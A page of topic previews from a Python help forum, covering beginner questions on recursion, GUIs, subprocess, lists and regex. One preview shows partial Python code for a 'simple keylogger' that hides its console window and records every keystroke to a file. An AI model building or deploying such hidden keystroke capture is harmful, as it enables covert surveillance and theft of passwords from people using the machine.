15,175 Topics

Member Avatar for
Member Avatar for lam-chop

I'm trying to figure out how to make a recursive maze solver, but I'm stuck at how to tell the maze to turn around and trace back its trail once it hits a dead end. Anyone able to help me?

Member Avatar for justaguy101
0
846
Member Avatar for Alq Veers

Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the …

Member Avatar for Alq Veers
0
153
Member Avatar for spaghettios

Hi, I have written a short program that will scrape a given website for img src that have their attribute tag with id="marked". The program works, but I am not quiet sure which attributes to make private. Here is the code. [CODE]import urllib from BeautifulSoup import * class ImgScrape(object): def …

Member Avatar for ultimatebuster
0
75
Member Avatar for jozz3

I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. …

Member Avatar for woooee
0
105
Member Avatar for tyuo9980

I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if …

Member Avatar for tyuo9980
0
149
Member Avatar for cahram

Is it possible to search for a string in an array that is in a larger array? I have an array that contains arrays of either one, two, three, or four strings. for instance: myList[1] = ['dog', 'cat'] myList[2] = ['lizard', 'sheep', 'pig'] I want to search for 'sheep' Is …

Member Avatar for TrustyTony
0
200
Member Avatar for Robbert

Hi - I get the following "The program is still running! Do you want to kill it?" from the python IDE when I run the following splashscreen. Any ideas on how to fix it? [CODE]#!/usr/bin/python import wx class MyFrame(wx.Frame): def __init__(self, parent, id=wx.ID_ANY, title="", pos= wx.DefaultPosition, size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE|wx.SUNKEN_BORDER): wx.Frame.__init__(self, parent, …

Member Avatar for Robbert
0
2K
Member Avatar for nsutton

I use textwrangler for osx right now, but i want to see what other free ide's are out there. Is there one with tabs for classes and object to be separated?

Member Avatar for justaguy101
0
150
Member Avatar for richardtreier

Hi, i am currently using wx.xrc to create parts of my programs, but i got a little problem: [B]How can I add a platebutton(wx.lib.platebtn) to my xrc file?[/B]

0
51
Member Avatar for linuxoidoz

Hi, What's the easiest way to check whether an item is in a list and then get to that element and do something with it? So far I can think of [CODE] if x in List: for x in List: if x = y: do something [/CODE] Thank you.

Member Avatar for linuxoidoz
0
31K
Member Avatar for awn

Hi, I'm trying to get a python script to automatically start at boot up in xubuntu. The idea is for the python - tk-inter window to pop up just after boot up and start its routine. I have tried including the path in the application auto start, modifying bash commands, …

Member Avatar for awn
0
518
Member Avatar for valorien

Hi Everyone :-) I'm writing a small Python script that invokes the Linux shell and runs some BASH commands in it. My problem is, I can't seem to use the output and store it in a Python variable. Here's what i'm trying: [CODE] import subprocess value = subprocess.call("ls -la", shell=True) …

Member Avatar for d5e5
0
3K
Member Avatar for prashanth s j

Hi all, How to access the value of WER from the following: [code] valuesfor1 = [('WER', 100)] valuesfor2= [('WER', 700)] [/code] My requirement is I need to compare WER from valuesfor1 with WER from valuesfor2. ie something like [code] if [('WER', 100)] < [('WER', 700)] : print "values for 2 …

Member Avatar for TrustyTony
0
108
Member Avatar for Kruptein

Is there a way to catch the text a user types, then do some function on it and then return it to the screen? input(text) -> function(text) -> output(text) I want to colourize certain words, so I want the function to find those words and then colorize them..

Member Avatar for Kruptein
0
389
Member Avatar for bpinheiro0186

Hey folks, I am new on the forum and new to Python. I am making a news site and using python/django. My site will get all the news from the DB and fill up the template. As there is about 10 lines for the news and at some moment i …

Member Avatar for TrustyTony
0
120
Member Avatar for giri.pankaj

This code takes in a scrambled input word and gives out the unscrambled list of words. Eg... Input = time Output = mite, item, emit etc. I had posted an unscrambler in java sometime ago. This one is the improvement over the previous one. In the sense, the java unscrambler …

Member Avatar for TrustyTony
0
4K
Member Avatar for mehdi0016

hi i'm looking for a python lib or module to draw text as graphic and save it as png, but i also need to support right-to-left languages like Farsi. i tested PIL with no success for unicode rtl texts(it draws text reverse and un-joint). so what do you suggest? (it's …

Member Avatar for TrustyTony
0
92
Member Avatar for mysticstylez

Hi, I have a text file that contains bunch of phone numbers. Some contain invalid characters and some are too long. How do i read this file into a list using regex. I only want valid phone numbers to populate the list, and skip the invalid ones. this is what …

Member Avatar for TrustyTony
0
7K
Member Avatar for deedee2

Hi there, I was wondering if anyone could help me find a procedure in python that takes in an unsorted list, and returns the difference between the largest and smallest values in the list, without using the built in max/min/sort procedures. Thank you!

Member Avatar for deedee2
0
108
Member Avatar for bharatk

Hello I have 4 .py files along with __init__.py in a folder. I want to create a file which would act as a menu and load classes from the files in that folder. I have that file outside the folder. The contents of that file: [CODE]from files import * print …

Member Avatar for bharatk
0
221
Member Avatar for pythonNerd159

im currently trying to create a button widget using Tkiner and would like to know how to get a number from that button when i click on it. I have tried lots of methods and ideas from different people and i still haven't got the right bit of code. any …

Member Avatar for pythonNerd159
0
168
Member Avatar for ewiggin

I am a beginner, and I am trying to run my first script in the windows command line. When I try to open the file I get the following error: >>> script1 Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'script1' is not defined I …

Member Avatar for Hummdis
0
151
Member Avatar for sneekula

I have a text I want to search for all it's upper case letters, then present these letters unique and sorted. I welcome any suggestions.

Member Avatar for twekberg
0
318
Member Avatar for a_jan2002

I have been working on connect five in python as a project. I have got this far but I cannot figure out how to make history of the things that have been clicked and how to undo. This is what i have got so far. I cannot make the player …

0
32
Member Avatar for dbphydb

Hi, i am basically from QA. So what we do each morning is open a web browser with the address [url]http://11.12.13.27:8080/cruisecontrol[/url]. Then we click on the build with last nights date. Then we click on a folder say client. Then in that folder we click on an exe file say …

Member Avatar for Udai02
0
5K
Member Avatar for naktos

Hello! I was writing a code and got an unexpected result, I broke it down in order to analyse it and in the end I have 8 rows of code. The problem I have is that I print x and it gives me the value 0.9 then if I say: …

Member Avatar for TrustyTony
0
114
Member Avatar for tbrambor

I am trying to get some data off a Brazilian government website. The data is accessible through a form with some javascript. I am able to get the form and fill it out, but have trouble submitting it (a button needs to be clicked). I am using the library mechanize …

Member Avatar for tbrambor
0
4K
Member Avatar for bharatk

I have 2 lists: a=[0,1,5,7] b=[2,10,6,3] I need to get this list : c=[(b[0]+a[0]),(b[0]+b[1]),(b[0]+b[1]+b[2]),(b[0]+b[1]+b[2]+b[3])] I tried doing this using a for loop: [CODE] c=[(b[0]+a[0])] for i in range(0,(len(b)-1)): for p in range(i+1,len(b)): if i==0: c.append((b[i]+b[p])) else: c.append((c[i]+b[p]))[/CODE] I am supposed to get [2,12,18,21] but I am getting [2, 12, 12, …

Member Avatar for bharatk
0
108
Member Avatar for nonemsludo

I am trying to write a function that returns true if the number of vowels in a word are equal to the consonants or false if otherwise, but I keep on getting an error that the word is not defined, I need help to debug my code [code] def word(n): …

Member Avatar for nonemsludo
-1
459
Member Avatar for sabiut

Hi, i need your expertise in this one. i am new to python, i want to write an algorithm that takes a string as input and determines whether or not it is a palindrome. please point me to the right direction. Thanks in advance. sabiut

Member Avatar for sabiut
0
193

The End.